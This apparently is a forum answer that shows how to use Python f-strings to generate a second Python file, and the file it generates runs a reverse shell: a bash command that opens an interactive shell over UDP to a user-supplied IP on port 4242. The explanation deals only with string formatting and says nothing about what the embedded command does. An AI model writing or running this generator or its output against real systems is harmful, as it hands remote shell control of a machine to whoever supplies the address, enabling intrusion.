You could do it with the following script:
ip = input("Enter IP: ")
bash_script = f"/bin/bash -c 'setsid sh -i >& /dev/udp/{ip}/4242 0>&1'"
other_python_script = f"""
import os
os.system(\"""{bash_script}\""")
"""
with open("otherscript.py", "w") as python_script_file:
    python_script_file.write(other_python_script)
Well, what is happening there?
- First, I write the ipvalue in the string containing the bash script using the f-string and stores it inbash_script
- Then, I use f-string to write the bash_scriptinside the python code string that will be inside the python file. This string is stored in theother_python_scriptvariable.
- Lastly, I just write the python code string in a file called otherscript.py.
And you will have a python file with the code you want.
You could do the first and second steps in on the same line. I separated into two lines of code for a matter of clarity. And this code works only in python 3.6^. Older versions should use other methods for write values into strings.